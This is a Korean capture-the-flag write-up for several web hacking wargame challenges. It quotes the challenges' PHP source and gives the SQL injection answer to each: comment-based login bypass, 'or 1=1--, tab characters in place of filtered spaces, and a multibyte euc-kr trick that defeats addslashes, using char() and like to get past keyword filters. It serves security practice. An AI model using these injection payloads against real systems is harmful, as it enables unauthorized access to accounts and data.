admin 계정으로 로그인을 성공하면 flag가 뜨는 형식이다.
sql injection을 통해 비밀번호 확인 과정을 무시하여 문제를 풀 수 있다.
비밀번호는 무시되므로 아무렇게나 치면 된다.
정답: admin"--

위 사진대로 Nonogram을 푼다. 그러면 다음 페이지로 넘어가는데 개발자 도구를 열어 페이지 요소들을 보면 type이 hidden으로 되있는 input이 있다. 거기 value의 제일 뒤에 'or 1=1--라고 적으면 문제가 해결된다. 'or 1=1--에서 'or 1=1은 무조건 참으로 만드는 식이다.
정답: 'or 1=1--
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall18
where id='guest' and no=$_GET[no]")); // admin's no = 2
if($result['id']=="guest") echo "hi guest";
if($result['id']=="admin"){
solve(18);
echo "hi admin!";
}
}
위 php 코드를 보면 no를 필터링 한다. 그렇기에 필터링을 우회하고 no에 2를 넣을 필요가 있다. or을 이용해 구문이 무조건 참이 되도록 한다.
정답: no=0%09or%09no=2
<?php
if($_GET['id'] && $_GET['pw']){
$db = dbconnect();
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id from
chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
echo "hi {$result['id']}";
if($result['id'] == "admin") solve(45);
}
else echo("Wrong");
}
?>
위 코드를 보면 id와 pw가 필터링 되고있다. 필터링 조건을 보면 admin, =이 필터링 되고 있으므로 저 두 문자는 바로 쓰면 안된다. 그렇기에 admin은 char(), =은 like로 대체하여 sql injection을 진행한다. 또한 magic_quotes_gpc 때문에 ', # 을 바로 쓸 수 없다. 하지만 id 구문에서 mb_convert_encoding을 사용하기 때문에 mb_convert_encoding 취약점 %a1 ~ %fe 으로 magic_quotes_gpc %27 우회할 수 있다.
pw는 알 수 없으므로 주석으로 무시할 것이다. 또 admin을 바로 쓸 수 없다고 했으니 아스키 코드와 char로 admin을 만들 것이다. id=으로 url이 시작하기 때문에 무조건 참이 나오도록 조건을 써줬다.
정답: id=%aa'or 1 like 1 and id like char(97,100,109,105,110)%23&pw=guest
? 뒤에 써줘야한다.